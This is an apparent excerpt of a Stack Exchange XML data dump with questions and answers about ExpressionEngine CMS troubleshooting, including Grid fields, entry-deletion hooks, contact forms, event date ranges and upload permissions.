Title="Calendar entries not saving event dates" Tags="|safecracker|database|solspace-calendar|calendar|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31037" PostTypeId="1" CreationDate="2015-04-15T15:53:13.303" Score="0" ViewCount="42" Body="&lt;p&gt;I've installed Nolan 2.5.1 in EE 2.9.2.  It's showing up ok in Addons &gt; Plugins, but with the wrong version number.  It's showing as version 1.0 .  It's also not showing up as an option as an option under data type when I set up a Grid Field type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FiSDY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-06-15T10:23:05.363" Title="Nolan, not available as Grid field" Tags="|nolan|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31038" PostTypeId="2" ParentId="30993" CreationDate="2015-04-15T16:08:07.830" Score="0" Body="&lt;p&gt;I think it's a bug.  I've seen it on another project I wasn't working on and one just now that I am.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem stems from a Grid-within-a-relationship or vice-versa.  I fixed the first way by splitting the tag into an embed (and passing entry_ids into it), but on my project I had to update the core files, which I hate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ever HAVE TO update core code, I always recommend commenting with a universal token &quot;MYCOMPANYNAME_DEV&quot; so they can be searched for before an upgrade, along with your initials, date, and a description of what you've done (and wherever possible, keep the old code commented out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the lineToCharacterOffsets method in the VariableFinder.php file, found in /system/expressionengine/libraries/relationship_parser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($str[$offset] == &quot;\n&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;put this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($offset &amp;gt; strlen($str)) {&#xA;    $offset = strlen($str);&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's looking for a linebreak beyond the scope of the string (a string being just an array of char), so I just give it the end of the string and tell it to move on.  It seems to do the trick, but hopefully this will be picked up and remedied soon.&lt;/p&gt;&#xA;" OwnerUserId="6223" LastActivityDate="2015-04-15T16:08:07.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31039" PostTypeId="1" AcceptedAnswerId="31040" CreationDate="2015-04-15T18:23:35.407" Score="1" ViewCount="82" Body="&lt;p&gt;My website has two channels: &lt;strong&gt;pet_owners&lt;/strong&gt; and &lt;strong&gt;pets&lt;/strong&gt;. &lt;strong&gt;pets&lt;/strong&gt; channel also has custom field named &lt;strong&gt;owner_id&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is: whenever an entry from &lt;strong&gt;pet_owners&lt;/strong&gt; is deleted, would it be possible to force certain entries from &lt;strong&gt;pets&lt;/strong&gt; to be deleted as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: if an entry from &lt;strong&gt;pet_owner&lt;/strong&gt; gets deleted and its &lt;strong&gt;entry_id&lt;/strong&gt; was &lt;strong&gt;&lt;em&gt;55&lt;/em&gt;&lt;/strong&gt; then how to automatically delete those &lt;strong&gt;pet&lt;/strong&gt; channel entries where the value of &lt;strong&gt;owner_id&lt;/strong&gt; would also be &lt;strong&gt;&lt;em&gt;55&lt;/em&gt;&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make it happen? Some plugin or module perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(P.S. The version of my EE is 2.5.5. Don't know if this information is important or not.)&lt;/p&gt;&#xA;" OwnerUserId="6220" LastEditorUserId="6220" LastEditDate="2015-04-15T18:36:28.257" LastActivityDate="2015-04-15T18:55:53.173" Title="Automatically delete certain channel entries" Tags="|channel|custom-fields|delete|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31040" PostTypeId="2" ParentId="31039" CreationDate="2015-04-15T18:42:40.840" Score="0" Body="&lt;p&gt;A quick search around didn't find any current third party modules to do this. What you're asking for would require a very small extension to be written, it would take well under an hour for a developer who knows EE. You'd just need an extension hooked to the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete_entries_loop($val, $channel_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;extension hook and use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function delete_pets($val, $channel_id)&#xA;{&#xA;    // look up field id&#xA;    $field_num = ee()-&amp;gt;db-&amp;gt;select('field_id')&#xA;                         -&amp;gt;where('field_name', 'owner_id')&#xA;                         -&amp;gt;get()&#xA;                         -&amp;gt;row_array();&#xA;&#xA;    $field_id = 'field_id_' . $field_num['field_id'];&#xA;&#xA;    // look up your entries with that field matching this entry&#xA;    $entry_ids = ee()-&amp;gt;db-&amp;gt;select('entry_id')&#xA;                         -&amp;gt;from('channel_data')&#xA;                         -&amp;gt;where($field_id, $val);&#xA;                         -&amp;gt;get()&#xA;                         -&amp;gt;result_array();&#xA;&#xA;    // forgot to map this baby down&#xA;    $ids = array_map(function($a) { return $a['entry_id']; }, $entry_ids);&#xA;&#xA;    // kill those entries&#xA;    ee()-&amp;gt;api_channel_entries-&amp;gt;delete_entry($ids);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-04-15T18:55:53.173" LastActivityDate="2015-04-15T18:55:53.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31041" PostTypeId="2" ParentId="31026" CreationDate="2015-04-15T18:52:51.793" Score="2" Body="&lt;p&gt;Adding dynamic=&quot;no&quot; fixed this issue.&lt;/p&gt;&#xA;" OwnerUserId="6219" LastActivityDate="2015-04-15T18:52:51.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31042" PostTypeId="2" ParentId="30621" CreationDate="2015-04-15T20:29:15.987" Score="1" Body="&lt;p&gt;I ran into the same problem. After talking to EE support, they informed me I'd need to update the meta hidden field as well if I wanted to update the entry, instead of creating a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meta hidden field is an encrypted string representing the settings for the form. This includes the entry_id, so if the meta value isn't updated, it posts a new entry instead of updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A module could be written to do this, and I may do that at some point, but I ended up getting the meta value I needed by creating a template, passing it the newly-created entry_id (the one you want to edit) as a segment variable, asynchronously calling the template and grabbing the meta value from the returned HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template that';s called just contains a Channel Form tag pair with the entry_id parameter set to the entry_id you want to edit (the segment variable I passed in). When the template is called, it renders out a new form that contains the meta value you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point, all you have to do is grab the meta value from the returned HTML and replace your initial form's meta hidden field value with the new one. Once you've done that, you'll be able to update the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It definitely feels a little wonky to do it this way, but it got the job done. A module would be cleaner, but since I was already working with AJAX it didn't seem egregious to handle the meta update this way.&lt;/p&gt;&#xA;" OwnerUserId="3913" LastActivityDate="2015-04-15T20:29:15.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31043" PostTypeId="1" AcceptedAnswerId="31067" CreationDate="2015-04-16T01:19:14.953" Score="0" ViewCount="88" Body="&lt;p&gt;Wondering if there is a way to disable or redirect Transcribe to the english version of Expresso Store.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-06-04T17:18:47.897" Title="Disabling transcribe for Expresso store pages" Tags="|expresso-store|expresso|transcribe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31044" PostTypeId="2" ParentId="31032" CreationDate="2015-04-16T08:14:26.413" Score="1" Body="&lt;p&gt;Alright, I did a fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I renamed my en, fr and es fields with a prefix label_.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template I did this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{/stash:nocache}&#xA; {exp:low_variables:parse var=&quot;var_eleads_countries&quot;}&#xA;      &amp;lt;option value=&quot;{var_eleads_countries:code}&quot;&amp;gt;   {var_eleads_countries:label_{segment_1}}&amp;lt;/option&amp;gt;&#xA;  {/exp:low_variables:parse}&#xA;{stash:nocache}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nocache tag is wrapped around my form, but it's important to close it and reopen it when parsing here, because otherwise, you'll have parsing issues on the {segment_1} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I fixed my typ in the var (&lt;em&gt;insert shame here&lt;/em&gt;), which had to be var_eleads_countries rather than var_eleads_country.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="3830" LastEditDate="2015-04-16T08:31:27.623" LastActivityDate="2015-04-16T08:31:27.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31045" PostTypeId="2" ParentId="31037" CreationDate="2015-04-16T09:22:39.620" Score="2" Body="&lt;p&gt;Simple answer in the end, forgot to install the field type as well.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-04-16T09:22:39.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31046" PostTypeId="1" CreationDate="2015-04-16T11:49:57.580" Score="0" ViewCount="96" Body="&lt;p&gt;We're using Editor (3.2.3) but we can't add a mailto-link. When using the link-button you get 3 options: URL, Site page and Email. When selecting e-mail we see a dropdown with the label 'link item' but the dropdown is empty. When creating a link this way it creates a empty href.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to do this?&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2015-04-16T18:14:47.827" Title="I can't add mailto-links with Editor" Tags="|devdemon|editor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31047" PostTypeId="2" ParentId="30849" CreationDate="2015-04-16T11:59:37.823" Score="0" Body="&lt;p&gt;Thought I'd contribute an 'answer' as I hate unanswered questions! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct in your comment, I have looked at the upgrade files with a fresh install of 2.9.3 and the order column you mention is actually added during the upgrade to EE 2.9.0. There is an excerpt below : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Add a column to the Template Routes table for storing the parse order&#xA; *&#xA; * @access private&#xA; * @return void&#xA; */&#xA;private function _update_template_routes_table()&#xA;{&#xA;    ee()-&amp;gt;smartforge-&amp;gt;add_column(&#xA;        'template_routes',&#xA;        array(&#xA;            'order' =&amp;gt; array(&#xA;                'type'          =&amp;gt; 'int',&#xA;                'constraint'    =&amp;gt; 10,&#xA;                'unsigned'      =&amp;gt; TRUE,&#xA;                'null'          =&amp;gt; TRUE&#xA;            )&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it is indeed a column of type &lt;code&gt;INT&lt;/code&gt;, also to answer your question on the type of the field, as you can see it is an &lt;code&gt;`order` INT(10) unsigned DEFAULT NULL&lt;/code&gt; in SQL syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why this column was not added during your update, I can't be sure, and this is definatly something to report to ElliLabs as an upgrade bug. Remember you mention what version you are upgrading from too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with the above info you should be able to at least replicate this missed upgrade. In case it helps I can confirm that there are no database changes at all from 2.9.0 to 2.9.2, there are a few changes in 2.9.0 and 2.9.3, prior to 2.9.0 upgrade the last database change was upgrading to 2.8.0 (there's a number of changes here!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case your interested the updates with version numbers are in the folder &lt;code&gt;/system/installer/updates/*&lt;/code&gt; &lt;strong&gt;prior&lt;/strong&gt; to installing, obviously once you've deleted your install folder these files are gone! You can read them and make sure the changes have been applied to help you debug what went wrong and where during upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps at least re-assure you that your patch is right!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-16T11:59:37.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31048" PostTypeId="2" ParentId="31046" CreationDate="2015-04-16T12:16:50.203" Score="0" Body="&lt;p&gt;I went over to Redactor to try the editor out but the standard 'link' button behaves differently to how you describe. When I click the link icon it drops down with &quot;Insert Link&quot; and &quot;Unlink&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, if I select &quot;Insert Link&quot; I get 2 text boxes for &quot;URL&quot; and &quot;Text&quot; and a checkbo for &quot;Open link in new tab&quot;, if I enter URL:&lt;code&gt;mailto:me@my.com&lt;/code&gt; Text:&lt;code&gt;me@my.com&lt;/code&gt; I get a mailto link exactly as I wanted!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could try adding a &quot;URL&quot; link, and for the URL entering the full mailto syntax, does that give you a decent link??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, can I ask what Redactor plug ins are loaded in with Editor? I don't have a licence to download Editor from DevDemon so I can't see for myself! Perhaps its loading the &lt;a href=&quot;http://imperavi.com/redactor/plugins/predefined-links/&quot; rel=&quot;nofollow&quot;&gt;PredefinedLinks&lt;/a&gt; or another custom plugin to allow for EE integration (Site page for router pages, ect)?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-16T12:16:50.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31049" PostTypeId="2" ParentId="30949" CreationDate="2015-04-16T12:43:25.863" Score="0" Body="&lt;p&gt;Turns out it was a bug in the module Publisher. If anyone is experiencing the same problem, update Publisher and if that doesn't work, contact Boldminded. &lt;/p&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2015-04-16T12:43:25.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31050" PostTypeId="1" CreationDate="2015-04-16T15:02:01.567" Score="0" ViewCount="79" Body="&lt;p&gt;How do I clean a discussion forum post from XSS attacks in EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit of background, I'm using the EE discussion module and I've dropped in ckeditor so the user can easily embed youtube/vimeo videos and images. I set &quot;HTML Formatting in posts&quot; to &quot;Allow all HTML&quot; so it will accept the iframed videos. However this leaves it open to XSS attacks as users can then put in any scripts they like. I'd like to whitelist just iframes to youtube &amp;amp; vimeo, links, images and a few tags like p and strong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of adjusting the settings in the discussion module but they seem very much hardcoded. I thought of using &lt;a href=&quot;http://htmlpurifier.org/&quot; rel=&quot;nofollow&quot;&gt;http://htmlpurifier.org/&lt;/a&gt; to whitelist tags but the forum_submit_post_start hook doesn't contain the post content and I guess by the time the forum_submit_post_end hook is called it's too late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2016-05-23T18:41:48.717" Title="XSS cleaning for discussion forum module" Tags="|forum|xss|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31051" PostTypeId="1" AcceptedAnswerId="31053" CreationDate="2015-04-16T15:02:10.060" Score="2" ViewCount="1680" Body="&lt;p&gt;I have a channel that includes a File field type. I have set two user groups to be able to upload all file types to that field. As a Super Admin I am able to upload there, but members of the other group cannot. I have set the upload directory permissions to 777 and I have confirmed that the group has permissions in EE to upload there - see attached. However, when logged in as a user of the other group, when I try to upload a PDF, I get an error that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The file could not be written to disk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The file size is far less than the max file site allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I would think this is a directory permissions error. Any help would be appreciated for sorting this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBltt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-04-16T16:33:50.427" Title="Unable to upload PDF using File Upload" Tags="|file-uploads|error|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31052" PostTypeId="1" CreationDate="2015-04-16T16:07:24.253" Score="1" ViewCount="43" Body="&lt;p&gt;I'm having trouble figuring out how to do this - I have a Low Events template tag that I'd like to set up with a custom date range that searches for events within the current year, BUT that current year is based on a Jul-Aug span instead of a Jan-Dec span.  Any guidance or examples would be hugely appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3154" LastActivityDate="2016-05-30T12:41:14.140" Title="Is it possible to set up a custom date range for a Low Entries tag that looks for events in the current school year?" Tags="|date|low|events|custom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31053" PostTypeId="2" ParentId="31051" CreationDate="2015-04-16T16:33:50.427" Score="3" Body="&lt;p&gt;With that error when uploading a PDF the first thing to take a look at is &lt;em&gt;Admin ‣ Security and Privacy ‣ Security and Sessions&lt;/em&gt; and see whether &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html#apply-xss-filtering-to-uploaded-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;&quot;Apply XSS Filtering to Uploaded Files&quot;&lt;/em&gt;&lt;/a&gt; is set to &lt;em&gt;&quot;yes.&quot;&lt;/em&gt; If it is, try setting it to &lt;em&gt;&quot;no&quot;&lt;/em&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that clears it up and you don't want to globally stop applying XSS filtering to uploaded files then there is a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#xss-clean-member-group-exception&quot; rel=&quot;nofollow noreferrer&quot;&gt;config override&lt;/a&gt; that will let you make only certain member group(s) exempt from the filtering. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['xss_clean_member_group_exception'] = &quot;6|7&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://expressionengine.stackexchange.com/a/193/22&quot;&gt;this answer&lt;/a&gt; for more.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-04-16T16:33:50.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31054" PostTypeId="1" CreationDate="2015-04-16T16:38:20.120" Score="1" ViewCount="117" Body="&lt;p&gt;I'm using the built in contact form, but the only element that gets emailed is the message.  Nothing else.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email:contact_form user_recipients=&quot;no&quot; recipients=&quot;nick@pixelsandcode.co.uk&quot; charset=&quot;utf-8&quot; form_class=&quot;form form--full&quot;}&#xA;    &amp;lt;p id = &quot;ajax-message&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;from&quot; class=&quot;controls__label&quot;&amp;gt;Your Email:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input class=&quot;controls__control&quot; type=&quot;text&quot; id=&quot;from&quot; name=&quot;from&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;{member_email}&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;budget&quot; class=&quot;controls__label&quot;&amp;gt;Your Budget:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;budget[]&quot; value=&quot;--Your Budget--&quot; /&amp;gt;&#xA;        &amp;lt;input class=&quot;&quot; type=&quot;range&quot; name=&quot;budget&quot; id=&quot;budget&quot; min=&quot;1000&quot; max=&quot;10000&quot; step=&quot;1000&quot; value=&quot;3000&quot; oninput=&quot;outputUpdate(value)&quot; list=&quot;ticks&quot; /&amp;gt;&#xA;        &amp;lt;datalist id=&quot;ticks&quot;&amp;gt;&#xA;            &amp;lt;option&amp;gt;1000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;2000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;3000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;4000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;5000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;6000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;7000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;8000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;9000&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option&amp;gt;10000&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/datalist&amp;gt;&#xA;        &amp;lt;output for=&quot;range&quot; id=&quot;your_budget&quot; class=&quot;output&quot;&amp;gt;£3000&amp;lt;/output&amp;gt;&#xA;        &amp;lt;script&amp;gt;&#xA;            function numberWithCommas(x) {&#xA;                return x.toString().replace(/\B(?=(\d{3})+(?!\d))/g, &quot;,&quot;);&#xA;            }&#xA;            function outputUpdate(amount) {&#xA;                document.querySelector('#your_budget').value = &quot;£&quot;+numberWithCommas(amount);&#xA;            }&#xA;&#xA;        &amp;lt;/script&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;message&quot; class=&quot;controls__label&quot;&amp;gt;Message:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;message[]&quot; value=&quot;--Message--&quot; /&amp;gt;&#xA;        &amp;lt;textarea class=&quot;controls__control&quot; id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;extra&quot; class=&quot;controls__label&quot;&amp;gt;Extra:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;extra[]&quot; value=&quot;--Extra--&quot; /&amp;gt;&#xA;        &amp;lt;textarea class=&quot;controls__control&quot; id=&quot;extra&quot; name=&quot;extra&quot; rows=&quot;18&quot; cols=&quot;40&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;submit&quot; type='submit' value='Submit Form' class=&quot;btn btn--primary&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:email:contact_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2015-06-15T17:25:20.263" Title="EE Built in contact form" Tags="|email-contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31055" PostTypeId="2" ParentId="31054" CreationDate="2015-04-16T16:45:40.867" Score="1" Body="&lt;p&gt;The Email module doesn't know what to do with arbitrary POST data, it can only recognize fields that it is looking for. To build an email from multiple fields, use only the &lt;code&gt;message&lt;/code&gt; field, but &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html#message&quot; rel=&quot;nofollow&quot;&gt;as an array&lt;/a&gt;. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;message[]&quot; /&amp;gt;&#xA;&amp;lt;textarea name=&quot;message[]&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-04-16T16:45:40.867" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31056" PostTypeId="2" ParentId="31052" CreationDate="2015-04-16T17:00:29.863" Score="0" Body="&lt;p&gt;According to the Low Events documentation on &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/tags#custom-date-range&quot; rel=&quot;nofollow&quot;&gt;custom date ranges:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are two ways to define a custom date range: using just the &lt;code&gt;date&lt;/code&gt;&#xA;  parameter or using both the &lt;code&gt;date_from&lt;/code&gt; and &lt;code&gt;date_to&lt;/code&gt; parameters.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you opt to use just the &lt;code&gt;date&lt;/code&gt; parameter then you'll want to use a &lt;code&gt;;&lt;/code&gt; to separate the start and end dates. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries&#xA;    channel=&quot;events&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    date=&quot;2014-09-01;2015-06-12&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;    &#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the documentation for the &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/tags#entries-tag&quot; rel=&quot;nofollow&quot;&gt;Entries tag&lt;/a&gt; and if you are still having trouble after that, update your original question with some template code and I can try to be more specific.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-04-16T17:00:29.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31057" PostTypeId="2" ParentId="31050" CreationDate="2015-04-16T17:23:49.000" Score="0" Body="&lt;p&gt;You have tried to use this simple solution: &lt;a href=&quot;https://devot-ee.com/add-ons/custom-bbcode&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/custom-bbcode&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="2230" LastActivityDate="2015-04-16T17:23:49.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31058" PostTypeId="1" AcceptedAnswerId="31073" CreationDate="2015-04-16T17:26:46.067" Score="0" ViewCount="73" Body="&lt;p&gt;I have a News landing page with Tagger tags displayed by each entry. You can filter the view with tags, but once the entries are displayed within the &lt;code&gt;tagger:entries_quick&lt;/code&gt; loop, the &lt;code&gt;tagger:tag_name&lt;/code&gt; variable is overridden by the tag that defines the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is to say, all the tags for each entry render as the tag we're filtering by, but the &lt;code&gt;tagger:urlsafe_tagname&lt;/code&gt; is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output of the standard entries loop output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Related tags for this post:&#xA;&amp;lt;a href=&quot;/tag/tag-1&quot;&amp;gt;Tag 1&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tag/tag-2&quot;&amp;gt;Tag 2&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output of the &lt;code&gt;tagger:entries_quick&lt;/code&gt; loop, filtered by Tag 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Related tags for this post:&#xA;&amp;lt;a href=&quot;/tag/tag-1&quot;&amp;gt;Tag 1&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;/tag/tag-2&quot;&amp;gt;Tag 1&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully I'm missing something? Is there a different variable for use within this loop?&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2015-04-17T07:06:33.127" Title="How do you correctly display entry tags within a tagger:entries_quick loop?" Tags="|tagger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31060" PostTypeId="2" ParentId="31046" CreationDate="2015-04-16T18:14:47.827" Score="1" Body="&lt;p&gt;Contact our DevDemon support. I believe this has been fixed with a bugfix.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-04-16T18:14:47.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
